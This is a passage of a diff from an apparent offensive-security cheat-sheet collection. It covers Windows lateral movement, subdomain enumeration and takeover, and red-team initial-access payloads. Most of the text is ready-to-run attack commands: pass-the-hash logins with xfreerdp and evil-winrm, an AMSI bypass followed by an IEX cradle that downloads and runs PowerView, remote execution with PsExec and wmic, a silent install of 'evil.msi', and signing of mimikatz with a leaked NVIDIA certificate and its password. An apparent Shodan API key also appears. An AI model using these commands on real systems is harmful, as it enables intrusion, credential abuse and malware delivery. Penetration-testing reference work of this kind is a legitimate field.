```powershell
root@payload$ rdesktop -d DOMAIN -u username -p password 10.10.10.10 -g 70 -r disk:share=/home/user/myshare
root@payload$ rdesktop -u username -p password -g 70% -r disk:share=/tmp/myshare 10.10.10.10
# -g : the screen will take up 70% of your actual screen size
# -r disk:share : sharing a local folder during a remote desktop session
```
* `freerdp`
```powershell
root@payload$ xfreerdp /v:10.0.0.1 /u:'Username' /p:'Password123!' +clipboard /cert-ignore /size:1366x768 /smart-sizing
root@payload$ xfreerdp /v:10.0.0.1 /u:username # password will be asked
# pass the hash using Restricted Admin, need an admin account not in the "Remote Desktop Users" group.
# pass the hash works for Server 2012 R2 / Win 8.1+
# require freerdp2-x11 freerdp2-shadow-x11 packages instead of freerdp-x11
root@payload$ xfreerdp /v:10.0.0.1 /u:username /d:domain /pth:88a405e17c0aa5debbc9b5679753939d
```
* [SharpRDP](https://github.com/0xthirteen/SharpRDP)
```powershell
PS C:\> SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
```
## Powershell Remoting Protocol
### Powershell Credentials
```ps1
PS> $pass = ConvertTo-SecureString 'supersecurepassword' -AsPlainText -Force
PS> $cred = New-Object System.Management.Automation.PSCredential ('DOMAIN\Username', $pass)
```
### Powershell PSSESSION
* Enable PSRemoting on the host
```ps1
Enable-PSRemoting -Force
net start winrm
# Add the machine to the trusted hosts
Set-Item wsman:\localhost\client\trustedhosts *
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "10.10.10.10"
```
* Execute a single command
```powershell
PS> Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami }
PS> Invoke-Command -computername DC01,CLIENT1 -scriptBlock { Get-Service }
PS> Invoke-Command -computername DC01,CLIENT1 -filePath c:\Scripts\Task.ps1
```
* Interact with a PS Session
```powershell
PS> Enter-PSSession -computerName DC01
[DC01]: PS>
# one-to-one execute scripts and commands
PS> $Session = New-PSSession -ComputerName CLIENT1
PS> Invoke-Command -Session $Session -scriptBlock { $test = 1 }
PS> Invoke-Command -Session $Session -scriptBlock { $test }
1
```
### Powershell Secure String
```ps1
$aesKey = (49, 222, 253, 86, 26, 137, 92, 43, 29, 200, 17, 203, 88, 97, 39, 38, 60, 119, 46, 44, 219, 179, 13, 194, 191, 199, 78, 10, 4, 40, 87, 159)
$secureObject = ConvertTo-SecureString -String "76492d11167[SNIP]MwA4AGEAYwA1AGMAZgA=" -Key $aesKey
$decrypted = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureObject)
$decrypted = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($decrypted)
$decrypted
```
## WinRM Protocol
**Requirements**:
* Port **5985** or **5986** open.
* Default endpoint is **/wsman**
If WinRM is disabled on the system you can enable it using: `winrm quickconfig`
The easiest way to interact over WinRM on Linux is with [Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```powershell
evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM]
evil-winrm -i 10.0.0.20 -u username -H HASH
evil-winrm -i 10.0.0.20 -u username -p password -r domain.local
*Evil-WinRM* PS > Bypass-4MSI
*Evil-WinRM* PS > IEX([Net.Webclient]::new().DownloadString("http://127.0.0.1/PowerView.ps1"))
```
## WMI Protocol
```powershell
PS C:\> wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe”
```
## SSH Protocol
:warning: You cannot pass the hash to SSH, but you can connect with a Kerberos ticket (Which you can get by passing the hash!)
```ps1
cp user.ccache /tmp/krb5cc_1045
ssh -o GSSAPIAuthentication=yes user@domain.local -vv
```
## Other methods
### PsExec - Sysinternal
From Windows - [Sysinternal](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)
```powershell
PS C:\> PsExec.exe \\srv01.domain.local -u DOMAIN\username -p password cmd.exe
# switch admin user to NT Authority/System
PS C:\> PsExec.exe \\srv01.domain.local -u DOMAIN\username -p password cmd.exe -s
```
### Mount a remote share
```powershell
PS C:\> net use \\srv01.domain.local /user:DOMAIN\username password C$
```
### Runas as another user
Runas is a command-line tool that is built into Windows Vista.
Allows a user to run specific tools and programs with different permissions than the user's current logon provides.
```powershell
PS C:\> runas /netonly /user:DOMAIN\username "cmd.exe"
PS C:\> runas /noprofil /netonly /user:DOMAIN\username cmd.exe
```
## References
- [Ropnop - Using credentials to own Windows boxes](https://blog.ropnop.com/using-credentials-to-own-windows-boxes/)
- [Ropnop - Using credentials to own Windows boxes Part 2](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
- [Gaining Domain Admin from Outside Active Directory](https://markitzeroday.com/pass-the-hash/crack-map-exec/2018/03/04/da-from-outside-the-domain.html)
- [Impacket Remote code execution on Windows from Linux by Vry4n_ - Jun 20, 2021](https://vk9-sec.com/impacket-remote-code-execution-rce-on-windows-from-linux/)
- [Impacket Exec Commands Cheat Sheet - 13cubed](https://www.13cubed.com/downloads/impacket_exec_commands_cheat_sheet.pdf)
- [SMB protocol cheatsheet - aas-s3curity](https://aas-s3curity.gitbook.io/cheatsheet/internalpentest/active-directory/post-exploitation/lateral-movement/smb-protocol)
- [Windows Lateral Movement with smb, psexec and alternatives - nv2lt](https://nv2lt.github.io/windows/smb-psexec-smbexec-winexe-how-to/)
- [PsExec.exe IOCs and Detection - Threatexpress](https://threatexpress.com/redteaming/tool_ioc/psexec/)
- [A Dive on SMBEXEC - dmcxblue - 8th Feb 2021](https://0x00sec.org/t/a-dive-on-smbexec/24961)

View File

@ -0,0 +1,203 @@
# Subdomains Enumeration
## Summary
* [Enumerate all subdomains](#enumerate-all-subdomains-only-if-the-scope-is-domainext)
* Subbrute
* KnockPy
* GoogleDorks
* EyeWitness
* Sublist3r
* Subfinder
* Findomain
* Aquatone (Ruby and Go versions)
* AltDNS
* MassDNS
* Nmap
* Dnsdumpster
* Subdomain take over
* tko-subs
* HostileSubBruteForcer
* SubOver
## Enumerate all subdomains (only if the scope is *.domain.ext)
### Using Subbrute
```bash
git clone https://github.com/TheRook/subbrute
python subbrute.py domain.example.com
```
### Using KnockPy with Daniel Miesslers SecLists for subdomain "/Discover/DNS"
```bash
git clone https://github.com/guelfoweb/knock
git clone https://github.com/danielmiessler/SecLists.git
knockpy domain.com -w subdomains-top1mil-110000.txt
```
Using EyeWitness and Nmap scans from the KnockPy and enumall scans
```bash
git clone https://github.com/ChrisTruncer/EyeWitness.git
./setup/setup.sh
./EyeWitness.py -f filename -t optionaltimeout --open (Optional)
./EyeWitness -f urls.txt --web
./EyeWitness -x urls.xml -t 8 --headless
./EyeWitness -f rdp.txt --rdp
```
### Using Google Dorks and Google Transparency Report
You need to include subdomains ;)
https://www.google.com/transparencyreport/https/ct/?hl=en-US#domain=[DOMAIN]g&incl_exp=true&incl_sub=true
```bash
site:*.domain.com -www
site:domain.com filetype:pdf
site:domain.com inurl:'&'
site:domain.com inurl:login,register,upload,logout,redirect,redir,goto,admin
site:domain.com ext:php,asp,aspx,jsp,jspa,txt,swf
site:*.*.domain.com
```
### Using Sublist3r
```bash
To enumerate subdomains of specific domain and show the results in realtime:
python sublist3r.py -v -d example.com
To enumerate subdomains and enable the bruteforce module:
python sublist3r.py -b -d example.com
To enumerate subdomains and use specific engines such Google, Yahoo and Virustotal engines
python sublist3r.py -e google,yahoo,virustotal -d example.com
python sublist3r.py -b -d example.com
```
### Using Subfinder
```powershell
go get github.com/subfinder/subfinder
./Subfinder/subfinder --set-config PassivetotalUsername='USERNAME',PassivetotalKey='KEY'
./Subfinder/subfinder --set-config RiddlerEmail="EMAIL",RiddlerPassword="PASSWORD"
./Subfinder/subfinder --set-config CensysUsername="USERNAME",CensysSecret="SECRET"
./Subfinder/subfinder --set-config SecurityTrailsKey='KEY'
./Subfinder/subfinder -d example.com -o /tmp/results_subfinder.txt
```
### Using Findomain
```powershell
$ wget https://github.com/Edu4rdSHL/findomain/releases/latest/download/findomain-linux
$ chmod +x findomain-linux
$ findomain_spyse_token="YourAccessToken"
$ findomain_virustotal_token="YourAccessToken"
$ findomain_fb_token="YourAccessToken"
$ ./findomain-linux -t example.com -o
```
### Using Aquatone - old version (Ruby)
```powershell
gem install aquatone
Discover subdomains : results in ~/aquatone/example.com/hosts.txt
aquatone-discover --domain example.com
aquatone-discover --domain example.com --threads 25
aquatone-discover --domain example.com --sleep 5 --jitter 30
aquatone-discover --set-key shodan o1hyw8pv59vSVjrZU3Qaz6ZQqgM91ihQ
Active scans : results in ~/aquatone/example.com/urls.txt
aquatone-scan --domain example.com
aquatone-scan --domain example.com --ports 80,443,3000,8080
aquatone-scan --domain example.com --ports large
aquatone-scan --domain example.com --threads 25
Final results
aquatone-gather --domain example.com
```
Alternatively, you can use the [Docker image](https://hub.docker.com/r/txt3rob/aquatone-docker/) provided by txt3rob.
```powershell
https://hub.docker.com/r/txt3rob/aquatone-docker/
docker pull txt3rob/aquatone-docker
docker run -it txt3rob/aquatone-docker aq example.com
```
### Using Aquatone - new version (Go)
```powershell
# Subfinder version
./Subfinder/subfinder -d $1 -r 8.8.8.8,1.1.1.1 -nW -o /tmp/subresult$1
cat /tmp/subresult$1 | ./Aquatone/aquatone -ports large -out /tmp/aquatone$1
# Amass version
./Amass/amass -active -brute -o /tmp/hosts.txt -d $1
cat /tmp/hosts.txt | ./Aquatone/aquatone -ports large -out /tmp/aquatone$1
```
### Using AltDNS
It's recommended to use massdns in order to resolve the result of `AltDNS`
```powershell
WORDLIST_PERMUTATION="./Altdns/words.txt"
python2.7 ./Altdns/altdns.py -i /tmp/inputdomains.txt -o /tmp/out.txt -w $WORDLIST_PERMUTATION
```
Alternatively you can use [goaltdns](https://github.com/subfinder/goaltdns)
### Using MassDNS
```powershell
DNS_RESOLVERS="./resolvers.txt"
cat /tmp/results_subfinder.txt | massdns -r $DNS_RESOLVERS -t A -o S -w /tmp/results_subfinder_resolved.txt
```
### Using Nmap
```powershell
nmap -sn --script hostmap-crtsh host_to_scan.tld
```
### Using dnsdumpster
```ps1
git clone https://github.com/nmmapper/dnsdumpster
python dnsdumpster.py -d domainname.com
```
## Subdomain take over
Check [Can I take over xyz](https://github.com/EdOverflow/can-i-take-over-xyz) by EdOverflow for a list of services and how to claim (sub)domains with dangling DNS records.
### Using tko-subs
```powershell
go get github.com/anshumanbh/tko-subs
./bin/tko-subs -domains=./lists/domains_tkos.txt -data=./lists/providers-data.csv
```
### Using HostileSubBruteForcer
```bash
git clone https://github.com/nahamsec/HostileSubBruteforcer
chmod +x sub_brute.rb
./sub_brute.rb
```
### Using SubOver
```powershell
go get github.com/Ice3man543/SubOver
./SubOver -l subdomains.txt
```
## References
* [Subdomain Takeover: Proof Creation for Bug Bounties - Patrik Hudak](https://0xpatrik.com/takeover-proofs/)
* [Subdomain Takeover: Basics - Patrik Hudak](https://0xpatrik.com/subdomain-takeover-basics/)

View File

@ -0,0 +1,190 @@
# Initial Access
> Initial Access Files in the context of a Red Team exercise refer to the set of files, scripts, executables, or documents used by the Red Team to initially infiltrate the target system or network. These files often contain malicious payloads or are designed to exploit specific vulnerabilities in order to establish a foothold in the target environment.
## Summary
* [Complex Chains](#complex-chains)
* [Container](#container)
* [Payload](#payload)
* [Binary Files](#binary-files)
* [Code Execution Files](#code-execution-files)
* [Embedded Files](#embedded-files)
* [Code Signing](#code-signing)
## Complex Chains
> DELIVERY(CONTAINER(TRIGGER + PAYLOAD + DECOY))
* **DELIVERY**: means to deliver a pack full of files
* HTML Smuggling, SVG Smuggling, Attachments
* **CONTAINER**: archive bundling all infection dependencies
* ISO/IMG, ZIP, WIM
* **TRIGGER**: some way to run the payload
* LNK, CHM, ClickOnce applications
* **PAYLOAD**: the malware
* Binary Files
* Code Execution Files
* Embedded Files
* **DECOY**: used to continue pretext narration after detonating malware
* Typically open PDF files
Examples:
* HTML SMUGGLING(PASSWORD PROTECTED ZIP + ISO(LNK + IcedID + PNG)) used by [TA551/Storm-0303](https://thedfirreport.com/2023/08/28/html-smuggling-leads-to-domain-wide-ransomware/)
## Container
* **ISO/IMG** - can contain hidden files, gets **automounted** giving easy access to contained files (`powershell c .\malware.exe`)
* **ZIP** - can contain hidden files (locate ZIP + unpack it + change dir + run Malware)
* **WIM** - Windows Image, builtin format used to deploy system features
```ps1
# Mount/Unmount .WIM
PS> Mount-WindowsImage -ImagePath myarchive.wim -Path "C:\output\path\to\extract" -Index 1
PS> Dismount-WindowsImage -Path "C:\output\path\to\extract" -Discard
```
* **7-zip, RAR, GZ** - should get a native support on Windows 11
## Trigger
* **LNK**
* **CHM**
* **ClickOnce**
## Payload
### Binary Files
These files can be executed directly on the system without any third party.
* **.exe** file, executable file can be run with a click
* **.dll** file, execute with `rundll32 main.dll,DllMain`
```c
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
extern "C" __declspec(dllexport)
DWORD WINAPI MessageBoxThread(LPVOID lpParam) {
MessageBox(NULL, "Hello world!", "Hello World!", NULL);
return 0;
}
extern "C" __declspec(dllexport)
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
CreateThread(NULL, NULL, MessageBoxThread, NULL, NULL, NULL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
```
* **.cpl** file, same as a .dll file with Cplapplet export
```c
#include "stdafx.h"
#include <Windows.h>
extern "C" __declspec(dllexport) LONG Cplapplet(
HWND hwndCpl,
UINT msg,
LPARAM lParam1,
LPARAM lParam2
)
{
MessageBoxA(NULL, "Hey there, I am now your control panel item you know.", "Control Panel", 0);
return 1;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
Cplapplet(NULL, NULL, NULL, NULL);
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
```
### Code Execution Files
* Word with Macro (.doc, .docm)
* Excel library (.xll)
* Excel macro-enabled add-in file (.xlam)
```ps1
xcopy /Q/R/S/Y/H/G/I evil.ini %APPDATA%\Microsoft\Excel\XLSTART
```
* WSF files (.wsf)
* MSI installers (.msi)
```ps1
powershell Unblock-File evil.msi; msiexec /q /i .\evil.msi
```
* MSIX/APPX app package (.msix, .appx)
* ClickOnce (.application, .vsto, .appref-ms)
* Powershell scripts (.ps1)
* Windows Script Host scripts (.wsh, .vbs)
```ps1
cscript.exe payload.vbs
wscript payload.vbs
wscript /e:VBScript payload.txt
```
### Embedded Files
* ICS Calendar Invites with Embedded Files
## Code Signing
Certificate can be **Expired**, **Revoked**, **Valid**.
Many certificates leaked on the Internet and got re-used by Threat Actor.
Some of them can be found on VirusTotal, with the query : `content:{02 01 03 30}@4 AND NOT tag:peexe`
In 2022, LAPSUS$ claimed responsibility for a cyberattack on NVIDIA, a major graphics card and AI technology manufacturer. As part of this attack, LAPSUS$ allegedly stole proprietary data from NVIDIA and threatened to leak it. The leak contained
* Certificates can be password protected. Use [pfx2john.py](https://gist.github.com/tijme/86edd06c636ad06c306111fcec4125ba)
```ps1
john --wordlist=/opt/wordlists/rockyou.txt --format=pfx pfx.hashes
```
* Sign a binary with a certificate.
```ps1
osslsigncode sign -pkcs12 certs/nvidia-2014.pfx -in mimikatz.exe -out generated/signed-mimikatz.exe -pass nv1d1aRules
```
* The following files can be signed with a certificate
* executables: .exe, .dll, .ocx, .xll, .wll
* scripts: .vbs, .js, .ps1
* installers: .msi, .msix, .appx, .msixbundle, .appxbundle
* drivers: .sys
* cabinets: .cab
* ClickOnce: .application, .manifest, .vsto
## References
* [Top 10 Payloads: Highlighting Notable and Trending Techniques - delivr.to](https://blog.delivr.to/delivr-tos-top-10-payloads-highlighting-notable-and-trending-techniques-fb5e9fdd9356)
* [Executing Code as a Control Panel Item through an Exported Cplapplet Function - @spotheplanet](https://www.ired.team/offensive-security/code-execution/executing-code-in-control-panel-item-through-an-exported-cplapplet-function)
* [Desperate Infection Chains - Multi-Step Initial Access Strategies by Mariusz Banach - x33fcon Youtube](https://youtu.be/CwNPP_Xfrts)
* [Desperate Infection Chains - Multi-Step Initial Access Strategies by Mariusz Banach - x33fcon PDF](https://binary-offensive.com/files/x33fcon%20-%20Desperate%20Infection%20Chains.pdf)
* [Red Macros Factory - https://binary-offensive.com/](https://binary-offensive.com/initial-access-framework)